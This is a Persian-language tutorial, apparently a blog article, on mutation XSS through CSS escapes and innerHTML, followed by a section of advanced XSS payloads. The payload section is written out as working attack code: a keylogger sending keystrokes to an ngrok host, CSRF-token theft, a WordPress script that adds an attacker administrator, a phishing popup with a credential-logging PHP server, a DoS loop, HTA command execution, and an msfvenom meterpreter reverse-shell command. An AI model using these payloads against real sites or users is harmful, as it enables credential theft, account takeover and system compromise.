استاندارد های CSS1 و CSS2 برای Escape کارکترها در مقادیر ویژگی های CSS Escapes ،CSS را پیشنهاد میدهد. این Escape ها رنج Unicode ای را در بر میگیرند و استفاده از Single Qoutation در کد های CSS را بی خطر میسازد. این نوع Escape حتی درون یک رشته ی CSS ای که با استفاده از Single Qoutation جداسازی شده اند هم امکان پذیر است. بر اساس این استاندارد استفاده از CSS Escapes درون یک رشته CSS ای به صورت زیر است:
property: 'v\61lue' (property:'value')
این نوع Escape، کارکتر a
را براساس موقعیت این کارکتر در جدول ASCII کارکتر های نمایش داده است. مقادیر Unicode نیز از طریق دنباله های Escaping نمایش داده میشوند. مثلا استفاده از 20AC\
برای علامت ¿
. با این حال مرورگرهای متعددی تعهد های امنیتی برای استفاده درست و استاندارد از CSS Escapes را نادیده میگیرند. به خصوص زمانی که ویژگی innerHTML
از یک عنصر والد در دسترس قرار میگیرد. به این صورت که نمایش Escape ها به حالت ابتدایی آنها تبدیل میشود. به دنباله زیر توجه کنید :
property: 'val\27ue'
این دنباله توسط innerHTML
به صورت زیر نمایش داده میشود:
PROPERTY: 'val'ue'
مهاجم میتواند از این رفتار سواستفاده کند و کد دلخواه CSS را درون رشته ی دارای Qoutation و Escape شده تزریق کند. در این حالت HTML از بررسی کد برای معتبرسازی صرف نظر کرده و این استاندارد دور زده میشود.
<!-- Attacker Input --> <p style="font-family:'ar\27\3bx\3aexpression\28xss\28\29\29\3bial'" > </p> <!-- Browser Output --> <p style="FONT-FAMILY:'ar';x:expression(xss());ial'" > </p>
در مثال بالا دسترسی innerHTML
به یک عنصر با استفاده از CSS Escapes در رشته های CSS باعث اجرای کد JavaScript خواهد شد.
برخلاف حمله بر مبنای تکنیک Backtick، کدها در این تکنیک به صورت بازگشتی تغییر پیدا میکنند برای مثال اگر کارکتری دوبار Encode یا Escape شده باشد، هنگام دسترسی innerHTML
، دو بار Decode میشود. مثلا دنباله ی Escape شده 5c 5c\
در اولین دسترسی توسط innerHTML
به 5c\
تغییر پیدا میکند و در دومین دسترسی به \
Decode میشود. همیچنین در برخی از بررسی ها مشخص شده که بعضی از فیلترهای HTML با استفاده از دنباله ی شبیه به رشته ی زیر دور زده میشود:
&#amp;x5c 5c 5c 5c
از آنجایی که استفاده از Backslash (\) در مقادیر ویژگی های CSS مجاز است، نمایش موجودیت های HTML به همراه ویژگی Decode کردن بازگشتی باعث اجرای موفقیت آمیز حمله خواهد شد.
4.استفاده نامناسب از کارکترها در نمایش موجودیت ها باعث بهم ریختن رشته های CSS میشود
ترکیب روش های بالا با استفاده از ویژگی Decode کردن بازگشتی CSS Escapes باعث تاثیر دیگری در مرورگرهای متعدد میشود. به این صورت که وقتی CSS Escapes و نمایش ابتدایی کارکترهای Double Qoutation درون رشته های CSS هر دو باهم استفاده میشوند. موتور پردازشی، بدون در نظر گرفتن غیر مرتبط بودن آن دو کارکتر، آنها را به Single Qoutation تبدیل میکند. این یعنی هنگام دسترسی innerHTML
، دنباله های کارکتری 22\
، ;quot&
، ;"
و ;34#&
به Single Qoutation (')
تبدیل میشوند. در نتیجه در این تکنیک به طور کلی با دسترسی innerHTML
، کد های CSS و HTML معتبر اما غیر قابل اجرا به کد های اجرایی تغییر پیدا میکنند.
<!-- Attacker Input --> <p style="font-family:'ar";x=expression(xss())/*ial'" > </p> <!-- Browser Output --> <p style="FONT-FAMILY:'ar';x=expression(xss())/*ial'" > </p>
در مثال بالا با دسترسی innerHTML
به یک عنصر با استفاده از رشته های CSS ای که حاوی موجودیت های نامناسب HTML میباشند باعث اجرای کد JavaScript خواهد شد.
با توجه به تحقیقات انجام شده، امکان برهم ریختن Syntax HTML به وسیله استفاده از CSS Escapes در رشته های CSS یا مقادیر ویژگی های CSS، امکان پذیر نیست. در نتیجه ویژگی جهش یافتن یا تغییر کد ها باعث میشود تا رشته های CSS به طور نامناسب خاتمه یابند و ویژگی های CSS جدیدی تعریف شود. این رفتار بسته به مرورگر، میتواند باعث ایجاد آسیب پذیری XSS و اجرای کد دلخواه JavaScript شود.
5.استفاده از CSS Escapes در نام ویژگی ها باعث برهم زدن ساختار HTML میشود
همانطور که در بخش قبل اشاره شد، مهاجم نمیتواند از حمله های بر مبنای تغییر کد برای برهم زدن ساختار سند های HTML حاوی ویژگی style
با استفاده از CSS Escape بهره گیرد. در نتیجه CSS Escapes ها فقط در بخش مقدار ویژگی ها استفاده میشوند و در بخش نام آنها استفاده نمیشود. اما استفاده از تکنیک تشریح شده در بخش قبل در نام ویژگی ها به جای مقدار آن ها، بعضی از مرورگر ها را وادار میکند تا رفتاری متفاوت داشته باشند،
<!-- Attacker Input --> <img style="font-fa\22onload\3dxss\28\29\20mily:'arial'" src="test.jpg" /> <!-- Browser Output --> <IMG style="font-fa"onload=xss() mily:'arial'" src="test.jpg" >
دسترسی innerHTML
به عنصری با نام CSS غیر معتبر باعث اجرای کد JavaScript خواهد شد.
در کد بالا مهاجم اول باید ویژگی style
را با استفاده از CSS Escapes ببندد تا Syntax CSS برهم نخورد، در غیر این صورت مرورگر به راحتی ویژگی CSS و مقدار آن را که غیر معتبر هستند، حذف میکند. توجه داشته باشید که این تکنیک حمله فقط با Double Qoutation درون ویژگی های دارای Double Qoutation قابل انجام است و زمانی که از Single Qoutation برای جداسازی ویژگی ها استفاده شده باشد عمل نمیکند. ویژگی innerHTML
، کارکترهای Single Qoutation را به Double Qoutation تبدیل میکند در نتیجه میتوان از دنباله Escape شده 22\
برای برهم زدن و خاتمه مقدار یک ویژگی استفاده کرد،
<!-- Example Attacker Input --> <p style=’fo\27\22o:bar' > <!-- Example Browser Output --> <p style="fo'"o:bar" > </p>
مثال بالا تبدیل خودکار Qoutation ها هنگام دسترسی innerHTML
را نشان میدهد.
این محدودیت Syntax ای فقط بعضی از کارکترهای غیر مفید در طراحی حمله را پردازش میکند. کارکتر های Space، ویرگول (,)، مساوی (=) ، کروشه ها ({}) و سمی کالن (;) جزو این دسته هستند. برای دور زدن این محدودیت ها مهاجم باید آن کارکترها را Escape کند و از ویژگی تغییر کد ها (Mutation) برای ارائه کد های Escape شده CSS در HTML استفاده کند.
6.تغییر موجودیت ها در سند های غیر HTML
پردازش سند های XHTML/XML در خصوص محتواهایی با شکل نادرست مانند ویژگی های بدون Qoutation، تگ ها و عناصر بسته نشده و غیره … متفاوت است. وب سرور با استفاده نوع MIME تایین شده در هدر، HTTPِ Content-Type
میتواند به مرورگر دستور دهد تا یک سند را به فرم XHTML/XML پردازش کند. این MIME ها text/xhtml
, text/xml
, application/xhtml+xml
و application/xml
میباشند. (از MIME های image/svg+xml
و application/vnd.wap.xhtml+xml
نیز میتوان استفاده کرد). پردازشگر های بر مبنای نوع MIME باعث میشوند تا مرورگر های متعدد هنگام پردازش رشته های CSS در عناصر style
در ترکیب با عناصر (X)HTML، رفتار نامعمولی از خود نشان دهند. از تعدادی از این رفتارها در حمله mXSS استفاده میشود،
<!- - Attacker Input --> < style >*{ font - family : ’ ar<img src="test.jpg" onload="xss()"/>ial ’} </ style > <!- - Browser Output --> < style >*{ font - family : ’ ar<img src="test.jpg" onload="xss()"/>ial ’} </ style >
دسترسی innerHTML
به عنصر Encode شده با XHTML در مقدار رشته CSS باعث اجرای کد JavaScript ای خواهد شد، در مثال بالا مرورگر به طور خودکار موجودیت های HTML درون رشته CSS ای که فونت را مشخص میکند، Decode میکند. با این کار پردازشگر باید درنظر بگیرد که رشته ی CSS حاوی HTML میباشد. در صورتی که در نوع text/html
نه تغییر و جهشی در کد صورت میگیرد و نه پردازشگر گیج میشود و در نتیجه کد JavaScript ای اجرا نمیشود. در نوع text/xhtml
و بقیه MIME های نام برده شده، عنصر style
در CSS میتواند حاوی عناصر HTML باشد، بنابراین پردازشگر عنصر img
دیکود شده در رشته ی CSS را در نظر میگیرد و کد JavaScript ای که باعث فعالسازی رویداد onload
میشود را با موفقیت اجرا میکند، توجه داشته باشید که با وجود استفاده درصد خیلی کمی از وبسایت ها از نوع MIME های نام برده شده، مهاجم هنوز میتواند با تکنیک های MIME-Sniffing و غیره … وبسایت را مجبور کند تا از نوع MIME دلخواه برای پردازش صفحه استفاده کند.
7.سو استفاده از موجودیت های HTML در عنصر SVG درون ویژگی های CSS
<!- - Attacker Input --> <p >< svg >< style >*{ font - family :’ </style><img/src=x	 onerror=xss()// ’} </ style > </ svg > </p > <!- - Browser Output --> <p >< svg >< style >*{ font - family :’ </style></svg><img src="x" onerror="xss()" /> ’} </p >
تکنیک بالا در حال حاضر فیکس شده است،
آسیب پذیری mXSS در مرورگر های متن باز محبوبی وجود داشته که بعد از گزارش با موفقیت رفع شده است.
روش های کاهش (Mitigations)
سمت سرور
باید از نمایش محتوای سرور به عنوان خروجی جلوگیری کرد و محتوای دارای نقص، با محتوایی که به درستی تغییر پیدا کرده و از نظر معنایی یکی ست جایگزین شود. ساده ترین سیاست برای جلوگیری از این حمله به این صورت است که اجازه استفاده از کارکترهایی که مرورگر ها در تبدیل درست آنها به مشکل بر میخورند داده نشود. در ویژگی های HTML، مشکل وقتی به وجود می آید که مرورگر در نمایش پشت سر هم، Qoutation هارا حذف میکند، در نتیجه باید به نحوی Qoutation اضافه شود. یکی از این روش ها اضافه کردن تعداد زیادی فاصله خالی به متن میباشد (برخی مرورگر های مانند کروم در پردازش DOM، هنگام مشاهده فاصله خالی آن را به عنوان Text تشخیص داده و Qoutation اضافه میکنند)، اضافه کردن فاصله خالی اصل متن را تغییر نمیدهد و مرورگرها بر اساس استاندارد w3c فاصله های زیاد در اطراف ویژگی های HTML را در نظر نمیگیرند.
در CSS پیاده سازی این سیاست سخت تر است. به دلیل تبدیل نادرست دنباله های Escape، به طور کلی نباید از کارکتر های خاص CSS حتی اگر به شکل Escape شده باشند استفاده کرد. برای مثال در URL، پرانتز و Single Qoutation ها کارکترهای معتبری هستند اما همین کارکترها در CSS کارکترهای خاص محسوب میشوند. خوشبختانه اکثر وب سرورهای اصلی به طور معادل از نسخه Encoding درصدی برای این کارکتر ها پشتیبانی میکنند بنابراین بهتر است از Encoding درصدی معمول برای این کارکترها در URL استفاده شود.
این سیاست در HTML Purifier (کتابخانه ای برای فیلتر و پاکسازی داده در HTML) عملیاتی شده و از آنجایی که داده های بر خلاف قاعده در این کتابخانه تشخیص داده نشد به طور کامل به این نوع از حملات آسیب پذیر بود. این نقص ها در سال های بعد تا حدودی برطرف شد، از آنجا که رفتار مرورگر ها تا حد زیادی متغیر است، این سیاست برای بررسی محتوای ارسال شده توسط کاربر کاربردی است و کمکی در محافظت علیه محتواهای به صورت پویا تولید شده نمیکند. توجه داشته باشید که مشکلاتی مانند جهش Backtick هنوز بر HTML Purifier و Blueprint و Google Caja تأثیر می گذارد.
سمت کاربر
این روش جلوگیری به جای مرورگر از قابلیت برنامه نویس در بازنویسی دسترسی ویژگی های innerHTML
و outerHTML
برای بهینه سازی و تغییر کد ها استفاده میکند. در این روش از پردازشگر داخلی XML که با استفاده از DOM توسط مرورگر ارائه میشود، بهره میگیریم. این تکنیک با نام TrueHTML
بر پایه آبجکت DOM ای به نام XMLSerializer
که توسط همه مرورگر ها ارائه میشود، کار میکند و برای اجرای عملیات هایی روی سند های XML و رشته ها مورد استفاده قرار میگیرد. نکته قابل توجه این است که تابع ()XMLSerializer.serializeToString
پذیرای ساختار DOM دلخواه میباشد و میتواند آن را به رشته XML تبدیل کند. در نتیجه دریافت کننده های داده در innerHTML
باید با پردازشگر هایی جایگزین شود که فقط محتواهای XML را پردازش میکنند. این روش به دلایل زیر دارای فواید است:
- رشته ی خروجی، تغییر و جهش یافته شده نیست. در نتیجه این حمله به راحتی با استفاده از جایگزین کردن دسترسی
innerHTML
با کد خودمان در مرورگر ها قابل پیشگیری ست. این کد در اختیار گروهی از محققان امنیت در این حوزه قرار گرفته است. - آبجکت
XMLSerializer
از اجزای مرورگر است. بنابراین تاثیر اجرایی آن با روش های فیلتر کردن داده هایinnerHTML
قبل از اینکه تغییر پیدا کنند، مقایسه نمیشود. - این روش به تلاش اضافی توسعه دهنده و برنامه نویس نیازی ندارد. هیچ کد JavaScript یا نود های DOM به تغییر احتیاج ندارند. اسکریپت خودش در مواقع نیاز داده های نا امن را جایگزین میکند.
- آبجکت
XMLSerializer
کد های نامعتبر را دوباره بعدا معتبرسازی میکند، در نتیجه ورودی های نا امن با فرم نادرست نیز فیلتر میشوند و دربرابر mXSS و از این قبیل حملات در امان میمانند. - روش
TrueHTML
یک روش عمومی و واضح میباشد، این یعنی کاربر میتواند از این اسکریپت به عنوان هسته برای Extention های مرورگر یا اسکریپت های کاربری استفاده کند تا از خودش دربرابر حملاتی از قبیل mXSS محافظت کند.
روش های طراحی Payload های پیشرفته در آسیب پذیری XSS
ایجاد یک ضبط کننده کلید (Key Logger)
در این روش هدف ضبط و ذخیره کلید های فشرده شده کیبورد توسط قربانی میباشد تا برای مثال بتوانبم اطلاعات حساس وارد شده توسط قربانی مانند رمزعبور را بدزدیم. فایلی با نام payload.js
در سروری که Ngrok در آن راه اندازی کرده اید بسازید و کد مخرب زیر را در آن قرار دهید:
var keys = ''; document.addEventListener("keypress", function () { get = window.event ? event : e; key = get.keyCode ? get.keyCode : get.charCode; key = String.fromCharCode(key); keys += key; }); window.setInterval(function () { if (keys != '') { new Image().src = 'http://<NG_ID>.ngrok.io:5000?key=' + keys; keys = ''; } }, 500);
در کد بالا addEventListener
منتظر اعمال رویداد keypress
میماند. سپس در صورتی که کلیدی فشرده شود کد کلید فشرده شده یا کارکتر کد آن را میگیرد و توسط ;String.fromCharCode(key)
به رشته تبدیل میکند. در بخش بعدی با استفاده از تابع setInterval
هر 500 میلی ثانیه یک بار کد های درون تابع اجرا میشود. یعنی آبجکت Image
ای ساخته میشود و ویژگی src
آن برابر آدرس سرور مهاجم قرار میگرد. این یعنی به محض فشرده شدن کلیدی توسط قربانی آن کلید توسط پارامتر key
به سرور مهاجم فرستاده میشود،
در ادامه کد سرور مهاجم که با استفاده از Fask پایتون طراحی شده را مشاهده میکنید:
from flask import Flask,request from flask_cors import CORS from flask import redirefromct from datetime import datetime # define app app = Flask(name) app.debug=1 app.name="index.py" CORS(app) app.config['JSON_AS_ASCII'] = False @app.route("/") def index(): key = request.args.get('key') now = datetime.now() f = open("keys.txt","a") f.write("{} | {}".format(now,key)) f.close() if name == 'main': app.run()
کد بالا پارامتر key
موجود در URL درخواستی که از سمت قربانی فرستاده شده را دریافت میکند. سپس فایلی یه نام keys.txt
باز میکند و کلید فرستاده شده در پارامتر key
را به همراه زمان فرستاده شدن کلید در فایل مینویسد.
در آخر باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کرد:
curl 'victim.com/comment.php?name=<script src="http://<NG_ID>.ngrok.io/payload.js"></script>'
استفاده از XSS برای دور زدن Double Submit Cookie در CSRF یا XSRF
یکی از راه های جلوگیری از آسیب پذیری CSRF استفاده از توکن های مخفی در فرم ها میباشد، این روش به Double Submit Cookie معروف است. با این حال کشف یک آسیب پذیری XSS میتواند به دور زدن این مکانیزم کمک کند. در ادامه با دو تکنیک برای دزدیدن توکن CSRF با استفاده از XSS و ارسال این توکن در هر فرم، آشنا خواهید شد. در کد PHP زیر با نام form.php
فرم HTML ای را مشاهده میکنید که قصد دزدیدن مقدار توکن CSRF آن را داریم:
<!doctype html> <html lang="en-US"> <body id="body"> <?php session_start(); if (array_key_exists ("token", $_POST) && array_key_exists ("message", $_POST)) { if ($_POST['token'] === $_SESSION['token']) { print "<p>Token is valid, the message is: " . htmlentities($_POST['message']) . "</p>"; } else { print "<p>Invalid token</p>"; } }else{ $token=substr(md5(uniqid(rand(1,6))), 0, 8); $_SESSION['token']=$token; } ?> <form method="post" action="<?=htmlentities($_SERVER['PHP_SELF'])?>"> <input type="hidden" name="token" value="<?php echo $token; ?>" id="token" /> <input type="text" value="" name="message" id="message" /> <input type="submit" value="Submit" /> </form> </body> </html>
این فرم در تگ مخفی input
دارای توکن مخفی CSRF به نام "token"
میباشد و مقدار آن به صورت تصادفی و برای هر کاربر منحصر به فرد است. در نتیجه توکن ساخته شده برای هر فرد درون سوپر گلوبال SESSION['token']_$
در سرور ذخیره میشود. قسمت PHP کد به بررسی صحیح بودن مقدار توکن ارسالی از سمت کاربر در متد POST
میپردازد به این صورت که اگر مقدار توکن فرستاده شده صحیح و با مقدار ذخیره شده در سمت سرور برابر بود، پیام ارسالی در پارامتر message
در صفحه نمایش داده میشود و اگر اینگونه نبود ما با پیام خطای "Invalid token"
مواجه می شویم. فرض کنید صفحه ی دیگری در همان سایت دارای آسیب پذیری XSS به صورت زیر میباشد و ورودی سرچ شده توسط کاربر در پارامتر search
را بدون ایمن سازی در صفحه نمایش میدهد:
<?php echo "You are searching for :".$_GET['search']; ?>
خب حالا برای دزدیدن توکن CSRF قربانی، به سه روش زیر میتوان Payload ای طراحی کرد و آن را در سرور اختصاصی که در آن سرویس Ngrok اجرا شده، قرار داد.
با استفاده از JavaScript
function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest(); xhr.open("POST", "/form.php", true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.send("token=" + token + "&message=CSRF%20Token%20has%20been%20stold!"); } function getTokenJS() { var request_get_page = new XMLHttpRequest(); request_get_page.open("GET", "/form.php", false); var page_res = request_get_page.send(null); var csrf_token = page_res.split("name=\"token\" type=\"hidden\" value=\""); csrf_token = csrf_token[1].slice(0,8); submitFormWithTokenJS(csrf_token); } getTokenJS();
در Payload طراحی شده بالا که با نام Payload.js
در سرور مهاجم قرار داده شده است، دو تابع با نام های ()getTokenJS
و submitFormWithTokenJS(token)
مشاهده میکنید. تابع getTokenJS
با استفاده از XMLHttpRequest
از طرف قربانی در خواست GET
ای به صفحه ی form.php
که فرم دارای توکن CSRF در آن قرار دارد ارسال میکند و پاسخ صفحه را به همراه توکن تصادفی موجود در آن دریافت میکند. این تابع همچنین با استفاده از تابع split
و slice
مقدار توکن را از پاسخ صفحه جداسازی میکند و آن را در متغیر csrf_token
ذخیره میکند. سپس این متغیر به عنوان آرگومان ورودی به تابع submitFormWithTokenJS(csrf_token)
فرستاده میشود. این تابع همانطور که از نامش پیداست بدون اطلاع قربانی (آسیب پذیری CSRF)، درخواست POST
ای با توکن دزدیده شده و پیام دلخواه (پارامتر message
) به صفحه form.php
ارسال میکند.
با استفاده از JQuery
function submitFormWithTokenjQuery(token) { $.post("/form.php", {token: token, message: "CSRF Token has been stold!"}).done(function (data) { console.log(data); }); } function getWithjQuery() { $.ajax({ type: "GET", url: "/form.php", data: {}, async: true, dataType: "text", success: function (data) { var $data = $(data); var $input = $data.find("#token"); if ($input.length > 0) { inputField = $input[0]; token = inputField.value submitFormWithTokenjQuery(token); } }, error: function (xml, error) { console.log(error); } }); } getWithjQuery();
کد بالا همانند Payload ای که پیش تر با استفاده از JavaScript گفته شد، اما با Syntax کتابخانه JQuery طراحی شده است.
اضافه کردن مهاجم به عنوان ادمین جدید در سایت
این تکنیک نیازمند وجود آسیب پذیری CSRF در وبسایت و بازدید ادمین وبسایت از محل آسیب پذیری XSS میباشد تا توسط ادمینی که دسترسی به تمام بخش های سایت دارد، بدون اطلاع خودش، مهاجم را به عنوان ادمین جدید در سایت اضافه کند.
فایلی با نام payload.js
در سروری که Ngrok در آن راه اندازی کرده اید بسازید و کد مخرب زیر را در آن قرار دهید:
url = "http://victim.com/wp-admin/user-new.php"; var login = "attacker"; var pass = "4145"; var email = "[email protected]"; function GetNonce(url) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET", url, false); xmlHttp.send(null); var all = xmlHttp.responseText; var nonce = all.split("name=\"_wpnonce_create-user\" value=\""); var nonce = nonce[1].slice(0, 10); return nonce; } var nonce = new GetNonce(); var http = new XMLHttpRequest(); var params = "action=createuser&_wpnonce_create-user=" + nonce + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=" + login + "&email=" + email + "&first_name=&last_name=&url=&pass1=" + pass + "&pass1-text=" + pass + "&pass2=" + pass + "&pw_weak=on&role=administrator&createuser=Add+New+User"; http.open("POST", url, true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.send(params);
در کد بالا تابع GetNonce
وظیفه دریافت توکن تصادفی تولید شده (Nonce) در فرمی که ادمین جدیدی اضافه میکند را دارد. به این صورت که پس از درخواست GET
به صفحه اضافه کردن ادمین جدید یعنی صفحه victim.com/wp-admin/user-new.php
و دریافت پاسخ این صفحه با استفاده از XMLHttpRequest
، مقدار توکن Nonce
به نام wpnonce_create-user_
با استفاده از تابع split
از منبع صفحه جدا کرده و آن را به عنوان خروجی تابع برمیگردانیم.
در مرحله بعد با استفاده از XMLHttpRequest
درخواست POST
ای که ادمین جدید را اضافه میکند را تنظیم میکنیم. این درخواست دارای پارامتر های زیادی میباشد که در کد مشاهده میکنید. از پارامتر های ضروری آن نام کاربری، رمزعبور، ایمیل مشخص شده توسط مهاجم و توکن Nonce ادمین میباشد که همه این هارا در اختیار داریم. در آخر نیز درخواست جعلی اضافه کردن ادمین را ارسال میکنیم.
در نهایت باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کرد:
curl 'victim.com/comment.php?name=<script src="http://<NG_ID>.ngrok.io/add_admin.js"></script>'
ایجاد صفحات جعلی (Popup Phishing)
در این تکنیک قصد داریم تا صفحه جعلی ای طراحی کنیم که صفحه لاگین یک وبسایت معتبر را نمایش میدهد، با این کار میتوانیم قربانی را فریب دهیم تا نام کاربری و رمزعبور خود را در فرم لاگین وارد کند و اطلاعات وارد شده را بدون اطلاع او به سرور مهاجم ارسال کنیم.
برای این کار فایلی با نام phishing.js
در سروری که راه اندازی کرده اید بسازید و کد HTML زیر که فرم لاگین طراحی شده را نشان میدهد در آن قرار دهید:
var mystyle=document.createElement("link"); mystyle.href="https://www.w3schools.com/w3css/4/w3.css" document.head.appendChild(mystyle); var modal=document.createElement("div");modal.classList.add("w3-modal"); modal.innerHTML='<div class="w3-modal-content w3-round-large" id="modal">'+ '<div class="w3-container w3-center">'+ '<form action="http://<NG_ID>.ngrok.io/phishing.php" method="POST" class="w3-center">'+ '<h2 style="color:red">'account Security' Please Login again</h2>'+ '<input type="text" placeholder="Username" name="uname"/>'+ '<input type="password" placeholder="Password" name="psd"/>'+ '<input type="submit" value="Login"/>'+ '</form>';
توجه داشته باشید که مقدار ویژگی action
فرم لاگین بالا برابر آدرس فایل phishing.php
در سرور مهاجم قرار گرفته است.
خب حالا در سرور مهاجم فایل phishing.php
را بسازید و کد های زیر را درون آن قرار دهید:
<?php header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404); header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS, POST'); header('Access-Control-Allow-Credentials: true'); header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Headers: Content-Type, *'); $file="credentials.txt" if(isset($_POST['uname']) && isset($_POST['psd']){ file_put_contents($file, "username: ".$_POST['uname']."\npassword: ".$_POST['psd'], FILE_APPEND); printf("LOGGED!"); } ?>
کد PHP بالا پس از تعریف چندین هدر، پارامتر های POST
ارسال شده از سمت قربانی با نام های uname
و psd
را دریافت کرده و با استفاده از file_put_contents
در فایل credentials.txt
مینویسد.
در آخر نیز باید به صورت زیر کد مخرب نهایی را در پارامتر آسیب پذیر تزریق کنیم:
curl 'victim.com/comment.php?name="/><script src="http://<NG_ID>.ngrok.io/phishing.js"></script>'
پیاده سازی حمله DoS
در این روش با استفاده از توابع JavaScript که قابلیت تکرار کد به اندازه ی زمانی مشخص شده را دارند مانند setInterval
، درخواستی پردازش صفحه ای را بار ها و بارها ارسال میکنیم. برای پیاده سازی این تکنیک فایلی با نام payload.js
در سروری که Ngrok در آن راه اندازی کرده اید بسازید و کد زیر را در آن قرار دهید:
function dos() { var pic = new Image(); pic.src = 'http://victim.com/'; pic.style.display = 'none'; document.body.appendChild(pic); } setInterval(dos, 10);
در تابع dos
آبجکت عکسی تعریف شده و ویژگی src
آن برابر آدرس سایت قربانی قرار گرفته است. همچنین با استفاده از کد 'pic.style.display = 'none
قابلیت نمایش آبجکت عکس در صفحه را غیرفعال میکنیم و در نهایت آن را با استفاده از appendChild
به صفحه اضافه میکنیم. در بخش بعد با استفاده از تابع setInterval
هر 10 میلی ثانیه یک بار تابع dos
که در بالا تعریف کرده ایم را اجرا میکنیم. این کار باعث میشود که در مدت زمان بسیار کوتاه تعداد زیادی درخواست به سمت سایت آسیب پذیر ارسال شود و حمله DOS رخ دهد.
استفاده از فایل فرمت HTA
فایل فرمت HTA که مخفف HTML Application میباشد یک برنامه از Microsoft Windows میباشد که ساختار کد منبع آن از HTML و یک یا چند زبان برنامه نویسی اسکریپتی که توسط مرورگر های IE پشتیبانی میشوند مثل VBScript یا JavaScript تشکیل شده است. از HTML برای طراحی ظاهر صفحه و رابط کاربری و از زبان برنامه نویسی اسکریپتی برای طراحی منطق برنامه استفاده میشود. این فایل فرمت که پسوند آن hta.
میباشد بدون اعمال محدودیت های امنیتی مرورگر و به عنوان برنامه ی کاملا قابل اطمینان اجرا میشود. برای تعریف این فایل، تگی با نام hta:application
در قسمت head
عناصر HTML معرفی شده است. این تگ شامل ویژگی هایی ست که امکان کنترل ظاهر برنامه مانند استایل border
را فراهم میکند. بقیه فایل HTA همانند HTML میباشد. در نتیجه از HTA برای اجرای حمله XSS میتوان استفاده کرد زیرا این فایل فرمت امکان ارتباط با Component Object های ویندوز و اجرای دستور را دارد.
برای پیاده سازی این تکنیک، فایلی با نام payload.hta
در سروری که Ngrok در آن راه اندازی کرده اید بسازید و کد زیر را در آن قرار دهید:
پیاده سازی با استفاده از زبان اسکریپت نویسی JavaScript
<html> <head> <HTA:APPLICATION ID="example"> </head> <script language="jscript"> var cmd = "cmd.exe /c calc.exe"; new ActiveXObject('WScript.Shell').Run(cmd); </script> <body> <script>self.close();</script> </body> </html>
در کد بالا در تگ script
متغیری با نام cmd
وجود دارد که حاوی دستور شل میباشد. این دستور با استفاده از cmd.exe
در ویندوز، برنامه ماشین حساب یعنی calc.exe
را اجرا میکند. در خط بعد آبجکتی با نام activexobject
ساخته شده. از این آبجکت برای ساخت نمونه از آبجکت های OLE Automation
در مرورگر IE در سیستم عامل ویندوز استفاده میشود. در برنامه های ویندوزی از OLE Automation
برای ایجاد ارتباط بین Component Object های ویندوز به وسیله زبان های برنامه نویسی اسکریپتی، استفاده میشود. آرگومان ورودی آبجکت activexobject
نام برنامه ایست که میخواهیم با آن ارتباط بگیریم. در کد بالا از WScript.Shell
استفاده شده که با شل ویندوز ارتباط میگیرد و امکان اجرای دستور در شل ویندوز را برای ما فراهم میکند. در آخر نیز به وسیله تابع Run
دستور تعریف شده در متغیر cmd
را با استفاده از این آبجکت اجرا میکنیم.
پیاده سازی با استفاده از زبان اسکریپت نویسی VBScript
<html> <head> <HTA:APPLICATION ID="example"> </head> <script language="VBScript"> Function var_func() Dim var_shell Set var_shell = CreateObject("Wscript.Shell") var_shell.run "cmd.exe -nop -w hidden -encodedcommand uyhkhg", 0, true End Function var_func self.close </script> <body> </body> </html>
در تابع var_func
کد Dim var_shell
حافظه ای را به متغیر var_shell
اختصاص میدهد. در خط بعد با استفاده از CreateObject
آبجکتی از Wscript.Shell
برای ارتباط با شل ویندوز میسازیم و در ادامه با استفاده از تابع run
دستوری که میخواهیم در شل اجرا کنیم را مشخص میکنیم. این دستور پاور شل برروی سیستم قربانی دسترسی ایجاد میکند و سپس تابع var_func
که ساختیم را فراخوانی میکنیم. اما توجه داشته باشید که شلکد هایی که پیش تر با استفاده از زبان های VBScript و JavaScript با شل ویندوز ارتباط میگرفتند در اکثر مواقع توسط دیوایس های دفاعی مانند آنتی ویروس و روش هایی مانند Set Patterning و Heuristic و Signature Based شناسایی میشوند و این مانع اجرای موفقیت آمیز حمله خواهد شد، در نتیجه باید روش های ارتباط و استفاده از COM Object ها را پیچیده تر و Payload های را مبهم تر سازیم.
در مرحله اول ابتدا باید Shellcode بر بستر فایل فرمت HTA برای خط فرمان ویندوز (PowerShell) طراحی بشود، برای این کار از Msfvenom استفاده میکنیم:
msfvenom -p windows/meterpreter/reverse_https LHOST=(NoIP) -i 43 -f hta-psh > chars.raw && cat chars.raw | awk {'print $7'} | awk -F "," '{print $1}'| sed 's/.$//'
دستور بالا از نوع ارتباط reverse_https
برای طراحی Payload استفاده میکند. مقدار LHOST
برابر سرور NoIP مهاجم قرار گرفته. NoIP یک سرویس آنلاین و رایگان است که نقطه دسترسی واسطی ایجاد میکند و دامنه ای در اختیار ما قرار میدهد که بتوانیم با IP خودمان به آن متصل شویم. مقدار سوییچ i-
که بیانگر تعداد دفعات Encode کردن Payload است 43 میباشد. با استفاده از سوییچ f-
فایل فرمت خروجی را hta-psh
قرار میدهیم، در آخر نتیجه را در فایلی به نام chars.raw
ذخیره میکنیم. با استفاده از دستور های sed
و awk
و رجکس های تایین شده، قسمت مورد نظر از فایل که Payload در آن قرار دارد استخراج میکنیم.
در مرحله دوم همانطور که پیش تر گفته شد باید با استفاده از JavaScript برای COM Object مورد نظر یعنی Wscript.shell
یک Initializer
بسازیم، با این کار امکان اجرای Payload های PowerShell فراهم میشود.
